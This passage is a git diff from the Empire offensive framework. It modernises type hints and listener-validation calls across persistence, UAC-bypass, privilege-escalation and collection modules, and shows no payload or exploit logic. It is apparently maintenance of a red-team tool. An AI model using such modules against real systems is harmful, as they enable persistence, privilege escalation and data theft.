- ) -> Tuple[Optional[str], Optional[str]]:
+ ) -> tuple[str | None, str | None]:
# extract all of our options
listener_name = params["Listener"]
diff --git a/empire/server/modules/powershell/management/user_to_sid.py b/empire/server/modules/powershell/management/user_to_sid.py
index 57f49e51e..366ebfa13 100644
--- a/empire/server/modules/powershell/management/user_to_sid.py
+++ b/empire/server/modules/powershell/management/user_to_sid.py
@@ -1,14 +1,13 @@
-from typing import Dict
-
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
diff --git a/empire/server/modules/powershell/persistence/elevated/registry.py b/empire/server/modules/powershell/persistence/elevated/registry.py
index c508e917d..96b10289b 100644
--- a/empire/server/modules/powershell/persistence/elevated/registry.py
+++ b/empire/server/modules/powershell/persistence/elevated/registry.py
@@ -1,7 +1,7 @@
import os
-from typing import Dict
from empire.server.common import helpers
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -9,9 +9,9 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
@@ -95,7 +95,7 @@ def generate(
else:
# if an external file isn't specified, use a listener
- if not main_menu.listeners.is_listener_valid(listener_name):
+ if not main_menu.listenersv2.get_active_listener_by_name(listener_name):
# not a valid listener, return nothing for the script
return handle_error_message("[!] Invalid listener: " + listener_name)
diff --git a/empire/server/modules/powershell/persistence/elevated/schtasks.py b/empire/server/modules/powershell/persistence/elevated/schtasks.py
index 329d503f0..38496f9da 100644
--- a/empire/server/modules/powershell/persistence/elevated/schtasks.py
+++ b/empire/server/modules/powershell/persistence/elevated/schtasks.py
@@ -1,7 +1,7 @@
import os
-from typing import Dict
from empire.server.common import helpers
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -9,9 +9,9 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
@@ -97,7 +97,7 @@ def generate(
else:
# if an external file isn't specified, use a listener
- if not main_menu.listeners.is_listener_valid(listener_name):
+ if not main_menu.listenersv2.get_active_listener_by_name(listener_name):
# not a valid listener, return nothing for the script
return handle_error_message("[!] Invalid listener: " + listener_name)
diff --git a/empire/server/modules/powershell/persistence/elevated/wmi.py b/empire/server/modules/powershell/persistence/elevated/wmi.py
index d58be8cbd..eea041a0a 100644
--- a/empire/server/modules/powershell/persistence/elevated/wmi.py
+++ b/empire/server/modules/powershell/persistence/elevated/wmi.py
@@ -1,5 +1,4 @@
import os
-from typing import Dict
from empire.server.common import helpers
from empire.server.common.empire import MainMenu
@@ -12,7 +11,7 @@ class Module:
def generate(
main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
@@ -108,7 +107,7 @@ def generate(
)
# if an external file isn't specified, use a listener
- elif not main_menu.listeners.is_listener_valid(listener_name):
+ elif not main_menu.listenersv2.get_active_listener_by_name(listener_name):
# not a valid listener, return nothing for the script
return handle_error_message("[!] Invalid listener: " + listener_name)
diff --git a/empire/server/modules/powershell/persistence/elevated/wmi_updater.py b/empire/server/modules/powershell/persistence/elevated/wmi_updater.py
index 1b9ccf444..8ab65a8eb 100644
--- a/empire/server/modules/powershell/persistence/elevated/wmi_updater.py
+++ b/empire/server/modules/powershell/persistence/elevated/wmi_updater.py
@@ -1,7 +1,7 @@
import os
-from typing import Dict
from empire.server.common import helpers
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -9,9 +9,9 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
diff --git a/empire/server/modules/powershell/persistence/misc/add_sid_history.py b/empire/server/modules/powershell/persistence/misc/add_sid_history.py
index 3ba078112..8cbe41565 100644
--- a/empire/server/modules/powershell/persistence/misc/add_sid_history.py
+++ b/empire/server/modules/powershell/persistence/misc/add_sid_history.py
@@ -1,5 +1,4 @@
-from typing import Dict
-
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -7,9 +6,9 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
diff --git a/empire/server/modules/powershell/persistence/misc/debugger.py b/empire/server/modules/powershell/persistence/misc/debugger.py
index ba8166d10..8b99aee8e 100644
--- a/empire/server/modules/powershell/persistence/misc/debugger.py
+++ b/empire/server/modules/powershell/persistence/misc/debugger.py
@@ -1,5 +1,4 @@
-from typing import Dict
-
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -7,9 +6,9 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
@@ -48,7 +47,7 @@ def generate(
if listener_name != "":
# if there's a listener specified, generate a stager and store it
- if not main_menu.listeners.is_listener_valid(listener_name):
+ if not main_menu.listenersv2.get_active_listener_by_name(listener_name):
# not a valid listener, return nothing for the script
return handle_error_message("[!] Invalid listener: " + listener_name)
diff --git a/empire/server/modules/powershell/persistence/powerbreach/deaduser.py b/empire/server/modules/powershell/persistence/powerbreach/deaduser.py
index dd99753d7..377c823ec 100644
--- a/empire/server/modules/powershell/persistence/powerbreach/deaduser.py
+++ b/empire/server/modules/powershell/persistence/powerbreach/deaduser.py
@@ -1,7 +1,7 @@
import os
-from typing import Dict
from empire.server.common import helpers
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -9,9 +9,9 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
@@ -74,7 +74,7 @@ def generate(
listener_name = params["Listener"]
- if not main_menu.listeners.is_listener_valid(listener_name):
+ if not main_menu.listenersv2.get_active_listener_by_name(listener_name):
# not a valid listener, return nothing for the script
return handle_error_message("[!] Invalid listener: " + listener_name)
diff --git a/empire/server/modules/powershell/persistence/powerbreach/eventlog.py b/empire/server/modules/powershell/persistence/powerbreach/eventlog.py
index 74f981792..a629a6702 100644
--- a/empire/server/modules/powershell/persistence/powerbreach/eventlog.py
+++ b/empire/server/modules/powershell/persistence/powerbreach/eventlog.py
@@ -1,7 +1,7 @@
import os
-from typing import Dict
from empire.server.common import helpers
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -9,9 +9,9 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
@@ -53,7 +53,7 @@ def generate(
listener_name = params["Listener"]
- if not main_menu.listeners.is_listener_valid(listener_name):
+ if not main_menu.listenersv2.get_active_listener_by_name(listener_name):
# not a valid listener, return nothing for the script
return handle_error_message("[!] Invalid listener: " + listener_name)
diff --git a/empire/server/modules/powershell/persistence/powerbreach/resolver.py b/empire/server/modules/powershell/persistence/powerbreach/resolver.py
index 3266d9159..a8b470a27 100644
--- a/empire/server/modules/powershell/persistence/powerbreach/resolver.py
+++ b/empire/server/modules/powershell/persistence/powerbreach/resolver.py
@@ -1,7 +1,7 @@
import os
-from typing import Dict
from empire.server.common import helpers
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -9,9 +9,9 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
@@ -61,7 +61,7 @@ def generate(
listener_name = params["Listener"]
- if not main_menu.listeners.is_listener_valid(listener_name):
+ if not main_menu.listenersv2.get_active_listener_by_name(listener_name):
# not a valid listener, return nothing for the script
return handle_error_message("[!] Invalid listener: " + listener_name)
diff --git a/empire/server/modules/powershell/persistence/userland/backdoor_lnk.py b/empire/server/modules/powershell/persistence/userland/backdoor_lnk.py
index ba3a4e13c..144c9efa6 100644
--- a/empire/server/modules/powershell/persistence/userland/backdoor_lnk.py
+++ b/empire/server/modules/powershell/persistence/userland/backdoor_lnk.py
@@ -1,7 +1,7 @@
import os
-from typing import Dict
from empire.server.common import helpers
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -9,9 +9,9 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
@@ -36,7 +36,7 @@ def generate(
status_msg = ""
- if not main_menu.listeners.is_listener_valid(listener_name):
+ if not main_menu.listenersv2.get_active_listener_by_name(listener_name):
# not a valid listener, return nothing for the script
return handle_error_message("[!] Invalid listener: " + listener_name)
@@ -92,7 +92,7 @@ def generate(
else:
# if an external file isn't specified, use a listener
- if not main_menu.listeners.is_listener_valid(listener_name):
+ if not main_menu.listenersv2.get_active_listener_by_name(listener_name):
# not a valid listener, return nothing for the script
return handle_error_message(
"[!] Invalid listener: " + listener_name
diff --git a/empire/server/modules/powershell/persistence/userland/registry.py b/empire/server/modules/powershell/persistence/userland/registry.py
index 3063753e3..08217b197 100644
--- a/empire/server/modules/powershell/persistence/userland/registry.py
+++ b/empire/server/modules/powershell/persistence/userland/registry.py
@@ -1,7 +1,7 @@
import os
-from typing import Dict
from empire.server.common import helpers
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -9,9 +9,9 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
@@ -96,7 +96,7 @@ def generate(
else:
# if an external file isn't specified, use a listener
- if not main_menu.listeners.is_listener_valid(listener_name):
+ if not main_menu.listenersv2.get_active_listener_by_name(listener_name):
# not a valid listener, return nothing for the script
return handle_error_message("[!] Invalid listener: " + listener_name)
diff --git a/empire/server/modules/powershell/persistence/userland/schtasks.py b/empire/server/modules/powershell/persistence/userland/schtasks.py
index a70da8a60..eee63c493 100644
--- a/empire/server/modules/powershell/persistence/userland/schtasks.py
+++ b/empire/server/modules/powershell/persistence/userland/schtasks.py
@@ -1,7 +1,7 @@
import os
-from typing import Dict
from empire.server.common import helpers
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -9,9 +9,9 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
@@ -94,7 +94,7 @@ def generate(
else:
# if an external file isn't specified, use a listener
- if not main_menu.listeners.is_listener_valid(listener_name):
+ if not main_menu.listenersv2.get_active_listener_by_name(listener_name):
# not a valid listener, return nothing for the script
return handle_error_message("[!] Invalid listener: " + listener_name)
diff --git a/empire/server/modules/powershell/privesc/ask.py b/empire/server/modules/powershell/privesc/ask.py
index 9be6680f2..327686ea3 100644
--- a/empire/server/modules/powershell/privesc/ask.py
+++ b/empire/server/modules/powershell/privesc/ask.py
@@ -1,5 +1,4 @@
-from typing import Dict
-
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -7,9 +6,9 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
@@ -24,7 +23,7 @@ def generate(
launcher_obfuscate = False
launcher_obfuscate_command = params["ObfuscateCommand"]
- if not main_menu.listeners.is_listener_valid(listener_name):
+ if not main_menu.listenersv2.get_active_listener_by_name(listener_name):
# not a valid listener, return nothing for the script
return handle_error_message("[!] Invalid listener: " + listener_name)
else:
diff --git a/empire/server/modules/powershell/privesc/bypassuac.py b/empire/server/modules/powershell/privesc/bypassuac.py
index 04577b89f..15600a1b9 100644
--- a/empire/server/modules/powershell/privesc/bypassuac.py
+++ b/empire/server/modules/powershell/privesc/bypassuac.py
@@ -1,5 +1,4 @@
-from typing import Dict
-
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -7,9 +6,9 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
@@ -34,7 +33,7 @@ def generate(
if err:
return handle_error_message(err)
- if not main_menu.listeners.is_listener_valid(listener_name):
+ if not main_menu.listenersv2.get_active_listener_by_name(listener_name):
# not a valid listener, return nothing for the script
return handle_error_message("[!] Invalid listener: " + listener_name)
else:
diff --git a/empire/server/modules/powershell/privesc/bypassuac_env.py b/empire/server/modules/powershell/privesc/bypassuac_env.py
index 504b2b79f..9e414522f 100644
--- a/empire/server/modules/powershell/privesc/bypassuac_env.py
+++ b/empire/server/modules/powershell/privesc/bypassuac_env.py
@@ -1,5 +1,4 @@
-from typing import Dict
-
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -7,9 +6,9 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
@@ -34,7 +33,7 @@ def generate(
if err:
return handle_error_message(err)
- if not main_menu.listeners.is_listener_valid(listener_name):
+ if not main_menu.listenersv2.get_active_listener_by_name(listener_name):
# not a valid listener, return nothing for the script
return handle_error_message("[!] Invalid listener: " + listener_name)
else:
diff --git a/empire/server/modules/powershell/privesc/bypassuac_eventvwr.py b/empire/server/modules/powershell/privesc/bypassuac_eventvwr.py
index e152c62f8..4c9c478fe 100644
--- a/empire/server/modules/powershell/privesc/bypassuac_eventvwr.py
+++ b/empire/server/modules/powershell/privesc/bypassuac_eventvwr.py
@@ -1,5 +1,4 @@
-from typing import Dict
-
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -7,9 +6,9 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
@@ -34,7 +33,7 @@ def generate(
if err:
return handle_error_message(err)
- if not main_menu.listeners.is_listener_valid(listener_name):
+ if not main_menu.listenersv2.get_active_listener_by_name(listener_name):
# not a valid listener, return nothing for the script
return handle_error_message("[!] Invalid listener: " + listener_name)
else:
diff --git a/empire/server/modules/powershell/privesc/bypassuac_fodhelper.py b/empire/server/modules/powershell/privesc/bypassuac_fodhelper.py
index 06e22d057..ffd3c02a7 100644
--- a/empire/server/modules/powershell/privesc/bypassuac_fodhelper.py
+++ b/empire/server/modules/powershell/privesc/bypassuac_fodhelper.py
@@ -1,5 +1,4 @@
-from typing import Dict
-
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -7,9 +6,9 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
@@ -34,7 +33,7 @@ def generate(
if err:
return handle_error_message(err)
- if not main_menu.listeners.is_listener_valid(listener_name):
+ if not main_menu.listenersv2.get_active_listener_by_name(listener_name):
# not a valid listener, return nothing for the script
return handle_error_message("[!] Invalid listener: " + listener_name)
else:
diff --git a/empire/server/modules/powershell/privesc/bypassuac_sdctlbypass.py b/empire/server/modules/powershell/privesc/bypassuac_sdctlbypass.py
index 0166fef9d..032c02b6a 100644
--- a/empire/server/modules/powershell/privesc/bypassuac_sdctlbypass.py
+++ b/empire/server/modules/powershell/privesc/bypassuac_sdctlbypass.py
@@ -1,5 +1,4 @@
-from typing import Dict
-
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -7,9 +6,9 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
@@ -34,7 +33,7 @@ def generate(
if err:
return handle_error_message(err)
- if not main_menu.listeners.is_listener_valid(listener_name):
+ if not main_menu.listenersv2.get_active_listener_by_name(listener_name):
# not a valid listener, return nothing for the script
return handle_error_message("[!] Invalid listener: " + listener_name)
else:
diff --git a/empire/server/modules/powershell/privesc/bypassuac_tokenmanipulation.py b/empire/server/modules/powershell/privesc/bypassuac_tokenmanipulation.py
index a76d620a6..1a0d50dd8 100644
--- a/empire/server/modules/powershell/privesc/bypassuac_tokenmanipulation.py
+++ b/empire/server/modules/powershell/privesc/bypassuac_tokenmanipulation.py
@@ -1,7 +1,7 @@
import base64
import re
-from typing import Dict
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -9,9 +9,9 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
diff --git a/empire/server/modules/powershell/privesc/bypassuac_wscript.py b/empire/server/modules/powershell/privesc/bypassuac_wscript.py
index 79ab2d6c1..506d076c8 100644
--- a/empire/server/modules/powershell/privesc/bypassuac_wscript.py
+++ b/empire/server/modules/powershell/privesc/bypassuac_wscript.py
@@ -1,5 +1,4 @@
-from typing import Dict
-
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -7,9 +6,9 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
@@ -34,7 +33,7 @@ def generate(
if err:
return handle_error_message(err)
- if not main_menu.listeners.is_listener_valid(listener_name):
+ if not main_menu.listenersv2.get_active_listener_by_name(listener_name):
# not a valid listener, return nothing for the script
return handle_error_message("[!] Invalid listener: " + listener_name)
else:
diff --git a/empire/server/modules/powershell/privesc/ms16-032.py b/empire/server/modules/powershell/privesc/ms16-032.py
index 40245af3f..47c7c1dfd 100644
--- a/empire/server/modules/powershell/privesc/ms16-032.py
+++ b/empire/server/modules/powershell/privesc/ms16-032.py
@@ -1,5 +1,4 @@
-from typing import Dict
-
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -7,9 +6,9 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
diff --git a/empire/server/modules/powershell/privesc/ms16-135.py b/empire/server/modules/powershell/privesc/ms16-135.py
index f5c55305f..4ecb32746 100644
--- a/empire/server/modules/powershell/privesc/ms16-135.py
+++ b/empire/server/modules/powershell/privesc/ms16-135.py
@@ -1,5 +1,4 @@
-from typing import Dict
-
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -7,9 +6,9 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
diff --git a/empire/server/modules/powershell/privesc/powerup/service_exe_stager.py b/empire/server/modules/powershell/privesc/powerup/service_exe_stager.py
index e38d765dc..898a9d20c 100644
--- a/empire/server/modules/powershell/privesc/powerup/service_exe_stager.py
+++ b/empire/server/modules/powershell/privesc/powerup/service_exe_stager.py
@@ -1,5 +1,4 @@
-from typing import Dict
-
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -7,9 +6,9 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
diff --git a/empire/server/modules/powershell/privesc/powerup/service_stager.py b/empire/server/modules/powershell/privesc/powerup/service_stager.py
index 79ee2ae54..75e848408 100644
--- a/empire/server/modules/powershell/privesc/powerup/service_stager.py
+++ b/empire/server/modules/powershell/privesc/powerup/service_stager.py
@@ -1,5 +1,4 @@
-from typing import Dict
-
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -7,9 +6,9 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
diff --git a/empire/server/modules/powershell/privesc/powerup/write_dllhijacker.py b/empire/server/modules/powershell/privesc/powerup/write_dllhijacker.py
index 080c9aec5..11438078a 100644
--- a/empire/server/modules/powershell/privesc/powerup/write_dllhijacker.py
+++ b/empire/server/modules/powershell/privesc/powerup/write_dllhijacker.py
@@ -1,5 +1,4 @@
-from typing import Dict
-
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -7,9 +6,9 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
diff --git a/empire/server/modules/powershell/recon/fetch_brute_local.py b/empire/server/modules/powershell/recon/fetch_brute_local.py
index d59fdb868..d50b2c5b9 100644
--- a/empire/server/modules/powershell/recon/fetch_brute_local.py
+++ b/empire/server/modules/powershell/recon/fetch_brute_local.py
@@ -1,5 +1,4 @@
-from typing import Dict
-
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -7,9 +6,9 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
diff --git a/empire/server/modules/powershell/recon/find_fruit.py b/empire/server/modules/powershell/recon/find_fruit.py
index e6498ee4b..e8e412aa6 100644
--- a/empire/server/modules/powershell/recon/find_fruit.py
+++ b/empire/server/modules/powershell/recon/find_fruit.py
@@ -1,5 +1,4 @@
-from typing import Dict
-
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -7,9 +6,9 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
diff --git a/empire/server/modules/powershell/recon/get_sql_server_login_default_pw.py b/empire/server/modules/powershell/recon/get_sql_server_login_default_pw.py
index fa06e89bc..fb4df4c8d 100644
--- a/empire/server/modules/powershell/recon/get_sql_server_login_default_pw.py
+++ b/empire/server/modules/powershell/recon/get_sql_server_login_default_pw.py
@@ -1,14 +1,13 @@
-from typing import Dict
-
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
diff --git a/empire/server/modules/powershell/situational_awareness/host/computerdetails.py b/empire/server/modules/powershell/situational_awareness/host/computerdetails.py
index feaee59fa..d374a879e 100644
--- a/empire/server/modules/powershell/situational_awareness/host/computerdetails.py
+++ b/empire/server/modules/powershell/situational_awareness/host/computerdetails.py
@@ -1,5 +1,4 @@
-from typing import Dict
-
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -7,9 +6,9 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
diff --git a/empire/server/modules/powershell/situational_awareness/network/get_sql_server_info.py b/empire/server/modules/powershell/situational_awareness/network/get_sql_server_info.py
index a93668f3c..e210fb5d8 100644
--- a/empire/server/modules/powershell/situational_awareness/network/get_sql_server_info.py
+++ b/empire/server/modules/powershell/situational_awareness/network/get_sql_server_info.py
@@ -1,14 +1,13 @@
-from typing import Dict
-
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/get_gpo_computer.py b/empire/server/modules/powershell/situational_awareness/network/powerview/get_gpo_computer.py
index 859fce0ff..6fea42f4f 100644
--- a/empire/server/modules/powershell/situational_awareness/network/powerview/get_gpo_computer.py
+++ b/empire/server/modules/powershell/situational_awareness/network/powerview/get_gpo_computer.py
@@ -1,5 +1,4 @@
import pathlib
-from typing import Dict
from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
@@ -11,7 +10,7 @@ class Module:
def generate(
main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/get_subnet_ranges.py b/empire/server/modules/powershell/situational_awareness/network/powerview/get_subnet_ranges.py
index 83772a905..a72900158 100644
--- a/empire/server/modules/powershell/situational_awareness/network/powerview/get_subnet_ranges.py
+++ b/empire/server/modules/powershell/situational_awareness/network/powerview/get_subnet_ranges.py
@@ -1,5 +1,4 @@
import pathlib
-from typing import Dict
from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
@@ -11,7 +10,7 @@ class Module:
def generate(
main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
diff --git a/empire/server/modules/powershell_template.py b/empire/server/modules/powershell_template.py
index 8971e82f9..82e3268af 100644
--- a/empire/server/modules/powershell_template.py
+++ b/empire/server/modules/powershell_template.py
@@ -1,5 +1,3 @@
-from typing import Dict, Optional, Tuple
-
from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -16,10 +14,10 @@ class Module:
def generate(
main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
- ) -> Tuple[Optional[str], Optional[str]]:
+ ) -> tuple[str | None, str | None]:
# Step 1: Get the module source code
# The script should be stripped of comments, with a link to any
# original reference script included in the comments.
diff --git a/empire/server/modules/python/collection/osx/imessage_dump.py b/empire/server/modules/python/collection/osx/imessage_dump.py
index b65ddd0eb..72214b1b4 100644
--- a/empire/server/modules/python/collection/osx/imessage_dump.py
+++ b/empire/server/modules/python/collection/osx/imessage_dump.py
@@ -1,14 +1,13 @@
-from typing import Dict
-
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
diff --git a/empire/server/modules/python/collection/osx/native_screenshot_mss.py b/empire/server/modules/python/collection/osx/native_screenshot_mss.py
index 4ba13cb99..ec707b75e 100644
--- a/empire/server/modules/python/collection/osx/native_screenshot_mss.py
+++ b/empire/server/modules/python/collection/osx/native_screenshot_mss.py
@@ -1,18 +1,18 @@
import base64
-from typing import Dict, Optional, Tuple
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
- ) -> Tuple[Optional[str], Optional[str]]:
+ ) -> tuple[str | None, str | None]:
path = main_menu.installPath + "/data/misc/python_modules/mss.zip"
open_file = open(path, "rb")
module_data = open_file.read()
diff --git a/empire/server/modules/python/collection/osx/prompt.py b/empire/server/modules/python/collection/osx/prompt.py
index fa8a71ffd..9810f309b 100644
--- a/empire/server/modules/python/collection/osx/prompt.py
+++ b/empire/server/modules/python/collection/osx/prompt.py
@@ -1,17 +1,16 @@
-from typing import Dict, Optional, Tuple
-
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
- ) -> Tuple[Optional[str], Optional[str]]:
